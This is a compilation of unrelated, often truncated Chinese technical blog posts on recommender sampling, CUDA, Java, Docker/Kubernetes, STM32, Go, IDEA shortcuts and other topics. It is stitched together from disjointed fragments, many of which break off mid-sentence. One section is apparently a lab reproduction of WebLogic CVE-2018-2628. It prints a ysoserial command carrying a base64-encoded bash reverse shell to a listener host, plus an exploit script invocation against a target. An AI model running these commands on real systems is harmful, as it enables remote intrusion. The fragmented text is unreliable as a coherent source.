我们一般假设与用户交互过的物品属于正样本,未交互过的都是负样本。 但是这个假设还是比较强的,用户未购买过的物品并不一定是不喜欢的, 也有可能是因为用户没看到,或者是用户在未来会发生交互。 这类样本我们称为伪负样本。 因此,就有对应的问题需要考虑,如何避免、减少这些伪负样本的影响呢? 在Word2Vec中,也有负采样的操作。 在预测单词时,理论上需要对全部单词进行预测,然后取预测值最大的单词。 但是全部单词的数量太多了,计算复杂度太高了, 所以为了降低复杂度,从全部单词中进行采样(这个过程叫负采样), 采出部分单词和目标单词,让模型从中取出预测值最大的单词就行。 负样本的分类? 1、从采样方法的角度来划分,有以下几种方法:基于启发式的算法,基于模型的算法; 基于启发式的算法有: (1)曝光未点击的样本,当做负样本; 数量建议:按照1:X的比例选择负样本,X可根据数量适当决定,一般建议4、5比较合适。 (2)随机负采样:以用户A来说,从全部样本中,除去与A发生交过的物品外,随机选择物品,作为负样本; (3)基于流行度的负采样:流行度越高的物品,被当做负样本的概率就越大。 其背后的想法是,越流行的物品,越容易被推荐给用户, 但尽管产品如此流行,用户还仍然没有与它发生交互, 那么用户有更大的概率不喜欢该物品; (4)基于业务限制理解的生成hard样本, 例如Airbnb在《Real-time Personalization using Embeddings for Search Ranking at Airbnb》一文中的做法, 将与正样本同城的房间当做负样本,将“被房主拒绝”当做负样本; (5)利用前一轮的模型来选择hard样本,例如把那些排名靠后的样本作为负样本,拿召回位置在101 ~ 500的物品。 基于模型的算法有: (1)动态采样法:在模型训练过程中,利用上一轮对样本进行评分, 通过评分来修改负样本的采样概率,评分越高,被采样的概率越大。 背后的思想是,对于那些负样本,如果模型给出了更高的评分, 那说明模型认为用户可能会与该物品发生交互, 但实际情况却是用户没有与该物品发生交互,

【机器学习】【ubuntu】服务器cuda toolkit多版本切换

其实通过update-alternatives可以实现的cuda版本切换 1.查看版本 查看cuda toolkit版本 nvcc -V 注意是大V 查看显卡驱动版本和cuda版本 注意cuda 版本和cuda toolkit版本不是一回事 也有说这里的cuda版本是显卡驱动支持的最高cuda版本 nvidia-smi 2.下载并安装多版本的cuda toolkit 地址:https://developer.nvidia.com/cuda-toolkit-archive 进去如下图所示,以10.2为例 我们选择好系统型号,以runfile为例,如果服务器直接wget不了的话,可以用wget后面的链接先下载到本地再上传到服务器,但是比较大(2.5GB)。注意还要下载下面两个补丁。 上传到服务器后,我们进行安装 sudo sh 等一会,输入accept 这里因为显卡驱动已经安装好了,你需要把Driver给去掉,否则会报错。因为已经装了Driver了,所以再次安装会起冲突。 然后install,等一会就好了。 安装好后,输入 ls /usr/local 可以看到目前已经安装好了两个版本的cuda toolkit 3.版本切换 先添加到update-alternatives sudo update-alternatives --install /usr/local/cuda cuda /usr/local/cuda-10.0 10 sudo update-alternatives --install /usr/local/cuda cuda /usr/local/cuda-10.2 20 再切换版本 sudo update-alternatives --config cuda 输入数字切换版本,可以发现能够自由切换成功

【Java】多态性

多态性是一种允许使用一个界面来访问一类动作的特性,特定的动作可以由不同的具体情况而定(传入不同的参数)。多态性是发送消息给某个对象,让该对象自行决定响应何种行为。 通过将子类对象引用赋值给超类对象引用变量来实现动态方法调用 public class Test1 { public static void main(String[] args) { Fa cc=new Fa(); //调用的是一个名称为pp的方法,但是参数不同执行的处理不同 cc.pp();//Fa...pp cc.pp(12);//Fa.pp(int) } } class Fa{ public void pp(){ System.out.println("Fa...pp"); } public void pp(int k){ System.out.println("Fa.pp(int)"); } } 多态性通过允许同一界面指定一类动作减少了程序的复杂度,编译器工作就是选择适用于各个情况的特定动作,而程序员则无须手动进行选择,使用者仅仅是记得以及利用这个统一的界面 多态形成的三个必要条件: 有继承,父类定义方法,子类重写方法父类的引用指向子类的对象可以使用参数传递时多态,也可以直接创建对象时多态 多态可以用三个定义和两个方法来总结。三个定义分别是父类定义子类构建、接口定义实现类构建和抽象类定义实体类构建,而两个方法分别是方法重载和方法重写。 多态分为两种: 编译时多态:方法的重载运行时多态:JAVA运行时系统根据调用该方法的实例的类型来决定选择调用哪个方法则被称为运行时多态 对象的多态性 继承表示的是is a的语义 public class 汽车 extends 车库{} 错误的 public class 学生 extends 人{} 正确的,因为任何一个学生都是人 强调的一个点:编程是对现实世界的模拟体现 class 动物{} class 猫 extends 动物{} 猫 x=new 猫(); 动物 x=new 猫(); 正确的,因为所有的猫都是动物,因为定义class 猫 extends 动物{} 猫 x=new 动物(); 错误,不是所有的动物都是猫,因为动物是猫的父类 一个对象x有两种形态,猫这类事物即具有猫的形态,又具有着动物的形态,这就是对象的多态性。简单说就是一个对象对应着不同类型

2022.5.12 腾讯魔方客户端暑期实习 一面凉经

完全裸考,,,只能当作是长经验了,,,随便记录一下吧/(ㄒoㄒ)/~~太菜了 1.自我介绍 2.实习项目经历 2.1 你在项目中负责的工作 A:负责游戏角色手部的抓取和放下动作的开发,基于UE的C++开发。 2.2 UE中动画、骨骼模型、骨骼之间的关系? A:这个没回答上来,只回答了一些感性的理解。。。之后补充。。 UE4动画系统笔记 (nicethemes.cn) 这里十分推荐一个Up主的教学视频,十分详细,强推: 虚幻4(UE4) 动画技术 深入浅出 高级运动系统_哔哩哔哩_bilibili 2.3 UE中TwoBoneIK的原理及作用?背后的数学原理,如何确定唯一的解?用过其他的IK吗? A:(回答的很多,但感觉不是很好,参考一下这些篇文章吧) Joint Target Location: 该点和Effector Location、root bone三个点确定的平面将会是joint bone所在的平面,因为通过计算后的joint bone位置可以有无数个,通过指定Joint Target Location可以使joint bone在比较合适平面,Joint Target Location的值需要不断试验来得到最合适的值。 IK节点详解 - 知乎 (zhihu.com) 【游戏开发】逆向运动学(IK)详解 - 知乎 (zhihu.com) 2.4 IK和FK的区别?TwoBoneIK中Effector Location Space有哪些选项?这些选项有什么区别? A:回答的差不多吧,想看的参考一下这个: 正向运动学(Forward kinematics, FK):利用机器人运动学方程,根据关节的特定参数计算末端受动器(end effector)的位置。正向运动学要求用户为所有涉及的关节设置参数。 逆向运动学(Inverse kinematics, IK):流程与FK相反,利用机器人运动学方程来确定机械手的关节参数,使末端受动器移动到期望的位置。末端受动器可以是关节(如手和脚),也可以是内部关节(如手肘和膝盖),不一定位于末端。IK最早出现在机器人学技术中,现在在许多领域都有应用,比如:工程学、计算机图形学、电子游戏、CG动画。 关于末端受动器:机械手臂抓取末端受动器的位置、角色开门时手的位置、角色行走时脚的位置,这些可以称为末端受动器。 Effector Location Space: EffectorLocation的坐标系,World Space世界坐标系,Component Space组件空间坐标系,Parent Bone Space以EffectorSpaceBoneName配置的骨骼的父骨骼为原点的坐标系,Bone Space以EffectorSpaceBoneName配置的骨骼为原点的坐标系。 2.5 UE中动画蓝图的作用?动画蓝图你都用过什么?都有什么作用? A:状态机,C++映射蓝图结点,Blend混合空间,人物Slot Q:这个Slot有什么作用? A:。。我当时用来限制只播放上半身的动画,设置了一个新的slot Q:那这个Slot的原理是什么? A:不知道。。。(菜

【开源时代】Docker与Kubernetes(K8S)【基础篇】

目录 Docker 一、什么是docker 二、docker的优势 三、虚拟化与docker 四、虚拟机与docker的区别 五、Docker入门操作 K8S(Kubernetes) 一、什么是Kubernetes? 二、Kubernetes与docker的区别 三、为什么使用Kubernetes?(Kubernetes的优势) 四、Kubernetes的模块及其组件功能 Docker 一、什么是docker 1、docker是一款基于go语言开发的开源容器技术。 二、docker的优势 LXC:Linux容器 1、快速(启动和停止可以在秒级内实现) 2、开源(EE版为企业版、CE版为社区版) 3、轻量化(对系统资源消耗小,一个容器最小可达到几KB大小,一台主机可运行上千台容器) 4、部署灵活、管理高效、迁移方便。 三、虚拟化与docker 传统的虚拟化是在硬件上面部署Host OS,然后再在Host OS上部署VMM,然后才能部署相应的虚拟机,而各自的虚拟机又有独属于自己的Guest OS,这样极大的占用了资源,而docker则是直接在Host os上部署docker,相比于传统的虚拟化,docker没有部署VMM,极大的节约了空间,减少了开销,而且,docker屏蔽了底层操作系统的差距,在运行速度上更胜一筹。 四、虚拟机与docker的区别 容器与虚拟机相比,容器启动速度更快,能达到秒级启动,而虚拟机的话他还要加载配置文件,一般要十几秒到几分钟,还有就是轻量化,一个容器最小可以达到几KB几MB,而虚拟机一般都是几百兆几个G,容器能做到快速迁移,因为他很小,而虚拟机文件一般比较大,所以在迁移过程中比较缓慢,总的来说:docker比虚拟机更轻量化、管理更方便,部署更灵活。 五、Docker入门操作 1、下载(拉取镜像) #docker pull 镜像名称[tag] ----->如果不指定tag,则默认选择最新的版本 例#docker pull ubuntu:18.08 2、利用该镜像构建一个容器 #docker run -itd --name ceshi centos:centos7 ------>-it:交互式运行一个容器,-d:后台运行,--name:为容器命名,-v:挂载数据卷,-p:映射端口 3、查看镜像信息 #docker image ls #docker images ---->可查看本地已有的镜像 4、查看镜像的详细信息 #docker inspect 镜像id或者镜像名 5、搜寻镜像(搜索远端仓库中的镜像 ) #docker search 镜像名称 6、删除镜像 #docker rmi 镜像名或id 加-f强制删除 7、查看本机上运行的所有容器进程 #docker ps -a 不加-a参数仅显示当前正在运行的进程

Docker和k8s的区别与介绍(*)

2010年,几个搞IT的年轻人,在美国旧金山成立了一家名叫“dotCloud”的公司。 这家公司主要提供基于PaaS的云计算技术服务。具体来说,是和LXC有关的容器技术。 LXC,就是Linux容器虚拟技术(Linux container) 后来,dotCloud公司将自己的容器技术进行了简化和标准化,并命名为——Docker。 Docker技术诞生之后,并没有引起行业的关注。而dotCloud公司,作为一家小型创业企业,在激烈的竞争之下,也步履维艰。 正当他们快要坚持不下去的时候,脑子里蹦出了“开源”的想法。 什么是“开源”?开源,就是开放源代码。也就是将原来内部保密的程序源代码开放给所有人,然后让大家一起参与进来,贡献代码和意见。 Open Source,开源 有的软件是一开始就开源的。也有的软件,是混不下去,创造者又不想放弃,所以选择开源。自己养不活,就吃“百家饭”。 2013年3月,dotCloud公司的创始人之一,Docker之父,28岁的Solomon Hykes正式决定,将Docker项目开源。 Solomon Hykes(今年刚从Docker离职) 不开则已,一开惊人。 越来越多的IT工程师发现了Docker的优点,然后蜂拥而至,加入Docker开源社区。 Docker的人气迅速攀升,速度之快,令人瞠目结舌。 开源当月,Docker 0.1版本发布。此后的每一个月,Docker都会发布一个版本。到2014年6月9日,Docker 1.0版本正式发布。 此时的Docker,已经成为行业里人气最火爆的开源技术,没有之一。甚至像Google、微软、Amazon、VMware这样的巨头,都对它青睐有加,表示将全力支持。 Docker火了之后,dotCloud公司干脆把公司名字也改成了Docker Inc.。 Docker和容器技术为什么会这么火爆?说白了,就是因为它“轻”。 在容器技术之前,业界的网红是虚拟机。虚拟机技术的代表,是VMWare和OpenStack。 相信很多人都用过虚拟机。虚拟机,就是在你的操作系统里面,装一个软件,然后通过这个软件,再模拟一台甚至多台“子电脑”出来。 虚拟机,类似于“子电脑” 在“子电脑”里,你可以和正常电脑一样运行程序,例如开QQ。如果你愿意,你可以变出好几个“子电脑”,里面都开上QQ。“子电脑”和“子电脑”之间,是相互隔离的,互不影响。 虚拟机属于虚拟化技术。而Docker这样的容器技术,也是虚拟化技术,属于轻量级的虚拟化。 虚拟机虽然可以隔离出很多“子电脑”,但占用空间更大,启动更慢,虚拟机软件可能还要花钱(例如VMWare)。 而容器技术恰好没有这些缺点。它不需要虚拟出整个操作系统,只需要虚拟一个小规模的环境(类似“沙箱”)。 沙箱 它启动时间很快,几秒钟就能完成。而且,它对资源的利用率很高(一台主机可以同时运行几千个Docker容器)。此外,它占的空间很小,虚拟机一般要几GB到几十GB的空间,而容器只需要MB级甚至KB级。 容器和虚拟机的对比 正因为如此,容器技术受到了热烈的欢迎和追捧,发展迅速。 我们具体来看看Docker。 大家需要注意,Docker本身并不是容器,它是创建容器的工具,是应用容器引擎。 想要搞懂Docker,其实看它的两句口号就行。 第一句,是“Build, Ship and Run”。 也就是,“搭建、发送、运行”,三板斧。 举个例子: 我来到一片空地,想建个房子,于是我搬石头、砍木头、画图纸,一顿操作,终于把这个房子盖好了。 结果,我住了一段时间,想搬到另一片空地去。这时候,按以往的办法,我只能再次搬石头、砍木头、画图纸、盖房子。 但是,跑来一个老巫婆,教会我一种魔法。 这种魔法,可以把我盖好的房子复制一份,做成“镜像”,放在我的背包里。 等我到了另一片空地,就用这个“镜像”,复制一套房子,摆在那边,拎包入住。 怎么样?是不是很神奇? 所以,Docker的第二句口号就是:“Build once,Run anywhere(搭建一次,到处能用)”。 Docker技术的三大核心概念,分别是: 镜像(Image)容器(Container)仓库(Repository) 我刚才在例子里面,那个放在包里的“镜像”,就是Docker镜像。而我的背包,就是Docker仓库。我在空地上,用魔法造好的房子,就是一个Docker容器。 说白了,这个Docker镜像,是一个特殊的文件系统。它除了提供容器运行时所需的程序、库、资源、配置等文件外,还包含了一些为运行时准备的一些配置参数(例如环境变量)。镜像不包含任何动态数据,其内容在构建之后也不会被改变。 也就是说,每次变出房子,房子是一样的,但生活用品之类的,都是不管的。谁住谁负责添置。 每一个镜像可以变出一种房子。那么,我可以有多个镜像呀! 也就是说,我盖了一个欧式别墅,生成了镜像。另一个哥们可能盖了一个中国四合院,也生成了镜像。还有哥们,盖了一个非洲茅草屋,也生成了镜像。 这么一来,我们可以交换镜像,你用我的,我用你的,岂不是很爽? 于是乎,就变成了一个大的公共仓库。 负责对Docker镜像进行管理的,是Docker Registry服务(类似仓库管理员)。 不是任何人建的任何镜像都是合法的。万一有人盖了一个有问题的房子呢? 所以,Docker Registry服务对镜像的管理是非常严格的。 最常使用的Registry公开服务,是官方的Docker Hub,这也是默认的Registry,并拥有大量的高质量的官方镜像。

在Mac上安装和配置Tunnelblick工具

在Mac上安装和配置Tunnelblick工具 配置前的一些废话Tunnelblic安装与配置下载方式:软件安装和配置如何使用 配置前的一些废话 作为一名程序员,善于使用工具是提高效率的真理之一。正所谓工欲善其事必先利其器。 有些经常使用Windows操作系统办公的程序员童鞋,应该对O,V,P,N不陌生。作为一款好用到爆的内网连接工具,它的出现让办公地点不再局限于办公室,足不出户也可轻松连上公司内网,在日常开发工作中极大的提高了办公的灵活度。 当然了,既然有Windows版本的,大概率会有Mac版本的,没错就是它—Tunnelblick,也是强大到拍案叫绝,真心感谢那些为了提高程序员生产力而辛苦开发各种好用工具的大神们! 好,废话就到这里,咱们开始正题。 Tunnelblic安装与配置 下载方式: 一、通过官网下载 官网地址:https://www.tunnelblick.net/ 二、网盘分享 链接: 复制提取码点这里快速下载 提取码: m1cj 软件安装和配置 1、双击下载好的dmg文件,按照mac常规软件进行安装即可。 2、配置。安装完毕会自动打开欢迎页面,在这里提供选择配置文件的配置方式。 这里本喵已有内网连接配置文件,所以这里直接选择 我有配置文件会弹出下面的对话框,这里可以按照对话框中的提示内容进行配置。 我们点击确定按钮,此时屏幕顶部的菜单栏会出现Tunnelblick的程序图标,我们点击会出现下图所示的菜单选项: 这里点击VPN详情...选项,弹出如下对话框: 这里我们就可以按照上面弹的提示框内提示的方式进行配置了。一种方式是点击+添加配置,另一种方式是直接拖拽.ovpn文件放到红框所示区域即可。这里我们采用拖拽方式配置。 松开鼠标后会提示为哪些用户开放权限。这里我们选择‘只有我’,输入开机密码即可配置完成。 配置成功后的界面: 至此,安装和配置大功告成。 如何使用 安装完就是使用了,这里同样点击屏幕上方菜单栏中的Tunnelblick图标,选择刚刚配置好的vpn名称,弹出如下对话框,输入账号和密码即可连接到内网。 好了,以上就是Tunnelblick软件在Mac上的安装和使用过程。 祝筒子们使用愉快!

对于Java散列表的探究

目录 一、什么是散列表? 二、散列表的解刨 1、哈希函数是什么? 1.1hashcode和equals的区别? 2、哈希冲突 3、开放寻址法 4、HashMap(哈希桶) (1)、HashMap的特点 (2)、HashMap的内部属性 (3)、HashMap的构造方法 (4)、Hash()方法的解析 (5)、putVal()方法解析 (6)、resize()方法解析 三、HashBuck个人代码实现 四、总结 一、什么是散列表? 散列表也叫做哈希表(Hash Table),是一种提供的键(Key)和值(Value)的映射关系的数据结构。只要我们给出一个key值就可以快速高效的查找到她所匹配的Value,时间复杂度趋近于 O(1)。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表。 这就是一个散列表,我们可以通过学号快速找到对应的同学。 二、散列表的解刨 首先我们要开始研究散列表的操作我们必须弄清楚哈希函数是什么。 1、哈希函数是什么? 散列表的底层是一个数组,但是数组的访问都是根据下标来访问的,但是我们的散列表的Key大多数都不是一个int类型,因此这时候就需要我们的利用哈希函数来当做一个“中转站”,通过某种方式进行Key值和数组下标之间的转换。 在Java语言中以及大多数面向对象编程的语言中,每个对象都有一个属于自己的hashcode,这个hashcode就是区别不同对象的一个重要标识,他们的hashcode都是一个整型变量。因此转换下标来也显得很简单了,就是按照数组的长度进行取模运算。 Index = HashCode(Key) % Array.length 我们通过代码调试不难发现,我们的字符串key 就是通过hashCode的方式插入到了我们数组str的4下标 。 到了这里我们需要思考一个问题也就是 1.1hashcode和equals的区别? hashcode就是查找一个大概 但是equals就很具体。就比如我们想在字典中查询一个词语名字叫做元素,首先我们hashcode就相当于查到了一个元,但是第一个字为元的有很多比如元宵,元旦等等,因此我们的equals就继续查找查到一个具体的。 所以我们的出结论 : 1、当两个对象的hashcode一样时,他们两个的equals不一定一样。 2、当两个对象的equals一样时,他们的hashcode一定一样。 2、哈希冲突 在我们在散列表进行插入操作是我们会有一种情况(底层数组长度为10) 当我们在插入一个Key为5的元素时,插入成功。但是第二次我们想插入Key为15的值通过计算我们应该插入到下标为5的位置,但是我们下标5已经有Key了,这时候就会变得很麻烦,我们吧这种情况称为哈希冲突。 哈希冲突是无法避免的,既然不能避免。所以我们就要想办法来解决。 避免哈希冲突的方法有很多种,但是我们今天就着重来研究两种方法 :开放寻址发和哈希桶 。 3、开放寻址法 开发寻址法的原理很简单,就是当Key相同时,我们可以另想办法,直接寻找下一个空位置即可。 在Java中,ThreadLocal所使用的就是开放寻址法 4、HashMap(哈希桶) 哈希桶这个方法很重要,在Java集合中HashMap就是实现了哈希桶。因此接下来大多数为源码的解读和解刨。 哈希桶又叫链表存储,顾名思义也就是当Key相同时我们只需以链表形式在数组对应的下标地下存储即可。 (1)、HashMap的特点 1、他是存储 key - value 类型结构。 2、数据类型不限制通过哈希函数 key 的 hashcode 值进行存储数据。 3、可以存储null值。 4、他存储是无序的。 5、因为是链式存储外加数组存储因此存储起来很慢,但是查询很快。

Git 分支合并分支代码

1、git add . 首先提交自己的代码到暂存区 2、git commit -m " " 提交到本地 3、git pull 拉取最新代码 4、git branch -a 查看所有分支(也可以不查看) 5、git checkout 要合并的分支名 切换要合并的分支 6、git checkout 切换之前的分支名 回到之前的分支 7、git merge 要合并的分支名 8、解决代码冲突

阿里云-武林头条-建站小能手争霸赛

武林头条-建站小能手争霸赛 2022.7.25-2022.8.5,参与武林头条-建站小能手争霸赛,完成以下比赛即可领取丰厚礼品! 第一回合:少林、武当、峨眉三大门派会师 完成3个任务,可得20元猫超卡,工作日10点发放,每日限量200份限量,快点行动起来吧! 第二回合:群雄逐鹿,争当第一 邀请好友完成场景体验,参与PK赢取大奖,最高得iPhone13!根据邀请好友数量进行排名,还有更多大奖等你来拿! 立即前往领取好礼:武林头条-建站小能手争霸赛

STM32H743VIT6配置ADC为1M采样率

外设总结 1M的采样率,对于32而言已经很高了,所以这边我们必然是需要使用DMA的,除此之外,我们选用定时器1作为触发源,方便随时修改采样频率的同时,也更为精准的设置采样频率为1M。 配置过程 首先是定时器的初始化过程。 static void ADC_TIME_Config(void){ TIM_HandleTypeDef TIM_HandleADC_TRIG = {0}; TIM_OC_InitTypeDef TIM_OC_InitADC_TRIG = {0}; HAL_TIM_Base_DeInit(&TIM_HandleADC_TRIG); TIM_HandleADC_TRIG.Instance = TIM1; TIM_HandleADC_TRIG.Init.Period = ADC_DMA_PWM_PERIODVALUE - 1; TIM_HandleADC_TRIG.Init.Prescaler = 0; TIM_HandleADC_TRIG.Init.CounterMode = TIM_COUNTERMODE_UP; TIM_HandleADC_TRIG.Init.RepetitionCounter = 0; HAL_TIM_Base_Init(&TIM_HandleADC_TRIG); TIM_OC_InitADC_TRIG.OCMode = TIM_OCMODE_PWM1; TIM_OC_InitADC_TRIG.OCPolarity = TIM_OCPOLARITY_LOW; TIM_OC_InitADC_TRIG.Pulse = ADC_DMA_PWM_PERIODVALUE / 2; if(HAL_TIM_OC_ConfigChannel(&TIM_HandleADC_TRIG, &TIM_OC_InitADC_TRIG, TIM_CHANNEL_1) != HAL_OK) while(1); if(HAL_TIM_OC_Start(&TIM_HandleADC_TRIG, TIM_CHANNEL_1) != HAL_OK) while(1); } 上面的重装载值和分频系数大伙自行根据自己工程的时钟频率修改即可,配置成1MHz即可。这边如果有朋友需要将输出比较的PWM引出到外部引脚上,可以在回调函数中加上下面这段程序,当然,不需要的话也可以不加,不影响触发ADC采集。 if(htim->Instance == TIM1){ __HAL_RCC_TIM1_CLK_ENABLE(); __HAL_RCC_GPIOE_CLK_ENABLE(); GPIO_Initure.Pin = GPIO_PIN_9; //PB0 GPIO_Initure.Mode = GPIO_MODE_AF_PP; //复用推完输出 GPIO_Initure.

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628) 1.漏洞介绍: Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。 2.环境搭建 在vulhub中使用docker拉取镜像,启动环境 docker-compose up -d 等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console,初始化整个环境 3.漏洞复现过程 1.使用工具 这个工具能检测weblogic反序列化漏洞,并能进行利用 命令执行: 文件上传: 上传成功如图 2.不使用工具 需要下载ysoserial,并启动一个JRMP Server: java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 4455 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}' 然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包: 脚本链接:https://www.exploit-db.com/exploits/44553 python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] 其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。

Go 语言变量

Go语言变量 1. 变量的声明方式1.1)var 声明1.2):= 短变量声明1.3)new 函数 2. Printf 输出变量的常用转义字符3. 变量的生命周期 1. 变量的声明方式 1.1)var 声明 它的声明形式如下: var name type = expression 其中,类型(type)和表达式(expression)可以省略其中一个,但是不能都省略 例如: var a int = 1 // 省略 type var b = "abc" var c int fmt.Println(a, b, c) 在省略 expression 时,变量会被赋为零值 零值 在 Go 语言中,各个数据类型对应零值如下: bool 值的为 false; int 整数型为 0; float 浮点型为 0.0; string 为 "" 空串; 接口和引用类型(slice、指针、map、通道、函数)为 nil; 复合类型(数组、结构体)为 所有元素的零值; 对于多个变量的声明可以放到一个 () 内 var ( a int = 1 b = "

IDEA 常用快捷键与设置

一、常用快捷键 ① Ctrl Ctrl + F 在当前文件进行文本查找 (必备) Ctrl + R 在当前文件进行文本替换 (必备) Ctrl + Z 撤销 (必备) Ctrl + Y 删除光标所在行 或 删除选中的行 (必备) Ctrl + X 剪切光标所在行 或 剪切选择内容 Ctrl + C 复制光标所在行 或 复制选择内容 Ctrl + D 复制光标所在行 或 复制选择内容,并把复制内容插入光标位置下面 (必备) Ctrl + W 递进式选择代码块。可选中光标所在的单词或段落,连续按会在原有选中的基础上再扩 展选中范围 (必备) Ctrl + E 显示最近打开的文件记录列表 Ctrl + N 根据输入的 类名 查找类文件 Ctrl + G 在当前文件跳转到指定行处 Ctrl + J 插入自定义动态代码模板 Ctrl + P 方法参数提示显示 Ctrl + Q 光标所在的变量 / 类名 / 方法名等上面(也可以在提示补充的时候按),显示文档内容 Ctrl + U 前往当前光标所在的方法的父类的方法 / 接口定义 Ctrl + B 进入光标所在的方法/变量的接口或是定义出,等效于 Ctrl + 左键单击 Ctrl + K 版本控制提交项目,需要此项目有加入到版本控制才可用 Ctrl + T 版本控制更新项目,需要此项目有加入到版本控制才可用 Ctrl + H 显示当前类的层次结构 Ctrl + O 选择可重写的方法 Ctrl + I 选择可继承的方法 Ctrl + + 展开代码 Ctrl + - 折叠代码 Ctrl + / 注释光标所在行代码,会根据当前不同文件类型使用不同的注释符号 (必备) Ctrl + [ 移动光标到当前所在代码的花括号开始位置 Ctrl + ] 移动光标到当前所在代码的花括号结束位置 Ctrl + F1 在光标所在的错误代码出显示错误信息 Ctrl + F3 调转到所选中的词的下一个引用位置 Ctrl + F4 关闭当前编辑文件 Ctrl + F8 在 Debug 模式下,设置光标当前行为断点,如果当前已经是断点则去掉断点 Ctrl + F9 执行 Make Project 操作 Ctrl + F11 选中文件 / 文件夹,使用助记符设定 / 取消书签 Ctrl + F12 弹出当前文件结构层,可以在弹出的层上直接输入,进行筛选 Ctrl + Tab 编辑窗口切换,如果在切换的过程又加按上delete,则是关闭对应选中的窗口 Ctrl + Enter 智能分隔行 Ctrl + End 跳到文件尾 Ctrl + Home 跳到文件头 Ctrl + Space 基础代码补全,默认在 Windows 系统上被输入法占用,需要进行修改,建议修改为 Ctrl + 逗号 (必备) Ctrl + Delete 删除光标后面的单词或是中文句 Ctrl + BackSpace 删除光标前面的单词或是中文句 Ctrl + 1,2,3.

linux的ifconfig命令找不到

1、就是出现图下这种情况: 2、这种情况就是ifconfig没有安装: *********<解决方法>*********** 第一步: 执:yum search ifconfig如图: 第二步: 执行命令:yum install net-tools.x86_64 如图: 此时会出现最后一行代码【y/d/n】输入y然后回车 如下图: 最后一行【y/n】输入y然后回车 如下图: 这样就OK了。。。

轮子六:QSerialPort 串口数据 收发

// .h #ifndef TIMINGSYSWORKER_H #define TIMINGSYSWORKER_H #include <QObject> #include <QSerialPort> #include <QSerialPortInfo> #include "setting/setting.h" #include<qthread.h> class TimingSysWorker : public QObject { Q_OBJECT public: explicit TimingSysWorker(QObject *parent = nullptr); ~TimingSysWorker(); void setPortName(const QString& strName); void setBaudrate(int nBaudrate); signals: void sig_recv(QByteArray ba); void serialOpenRes(int deviceId,bool);//串口打开结果 public slots: //初始化并打开串口 void slot_initSerial(int deviceId); void slot_readReady(); void slot_sendcmd(QByteArray); private: QSerialPort* m_pQSerialPort; //串口名 QString m_strPortName; //波特率 int m_nBaudrate; bool m_isOpen = false; QByteArray m_baBuff; }; #endif // TIMINGSYSWORKER_H // .

PLSQL查询结果中文显示乱码

PLSQL中文显示乱码,可能是oracle客户端和服务器端的编码方式不一样。 在这里,我们使用的是服务器上的Oracle,不是本机的Oracle,按照以下两个步骤进行:首先要查询ORACLE服务器的语言、地域和字符集,然后将查询结果设置为本地的环境变量:NLS_LANG。具体如下: 1. 查询ORACLE服务器的语言、地域和字符集 select * from nls_database_parameters; 查询结果如下图, 下图NLS_LANGUAGE 表示“语言”,NLS_TERRITORY 表示“地域”,NLS_CHARACTSET 表示“字符集”,将他们三个按照“语言_地域.字符集”的格式拼接起来,就有了“AMERICAN_AMERICA.ZHS16GBK”(注意:这里要根据你自己的ORACLE服务器的这三个值进行拼接哦~不要简单的复制粘贴) 2.设置本地环境变量:NLS_LANG, 进入 我的电脑,属性,高级,环境变量,添加1项: NLS_LANG="AMERICAN_AMERICA.ZHS16GBK" (注意:这里要根据你的ORACLE服务器的这三个值进行拼接哦~不要复制粘贴) 重新打开PLSQL ,中文显示正常拉~~

Spring-Boot框架

1. spring boot 简介 Spring Boot 是由 Pivotal 团队提供的全新框架。Spring Boot 是所有基于 Spring Framework 5.0 开发的项目的起点。Spring Boot 的设计是为了让你尽可能快的跑起来 Spring 应用程序并且尽可能减少你的配置文件。 1.1 springboot的好处 ① 创建独立的 Spring 应用程序 ② 嵌入的 Tomcat,无需部署 WAR 文件 ③ 简化 Maven 配置 ④ 自动配置 Spring ⑤ 开箱即用,没有代码生成,也无需 XML 配置。 1.2 spring boot 快速入门 (1)JDK 环境必须是 1.8 及以上,传送门:jdk1.8.191 下载 (2)后面要使用到 Maven 管理工具 3.2.5 及以上版本. (3)开发工具建议使用 IDEA 创建步骤 默认springboot扫描的包为主启动类所在的包以及子包。 测试: @RestController public class Hello { @GetMapping("/hello") public Map<String ,Object> hello(){ Map<String,Object> map=new HashMap<>(); map.

k8s部署metrics server资源监控及日志查看

k8s部署metrics server资源监控及日志查看 查看资源的常用命令kubectl getkubectl describe Metrics Server部署通过yaml文件部署metrics-server部署报错排查替换镜像下载地址metrics-server资源访问权限修改 查看日志的常用命令kubelet日志Pod日志 查看资源的常用命令 kubectl get 查看资源信息 kubectl get <资源类型> <资源名称> kubectl get <资源类型> <资源名称> -o wide #显示详细信息 kubectl get <资源类型> <资源名称> -o yaml #导出yaml文件配置 例如 kubectl get node kubectl get node k8s-master 查看节点标签信息 #给节点打标签 [root@k8s-master ~]# kubectl label node k8s-node1 node-role.kubernetes.io/node1= [root@k8s-master ~]# kubectl get node NAME STATUS ROLES AGE VERSION k8s-master Ready control-plane,master 33h v1.23.0 k8s-node1 Ready node1 33h v1.23.0 k8s-node2 Ready <none> 33h v1.

Redis经典面试题总结

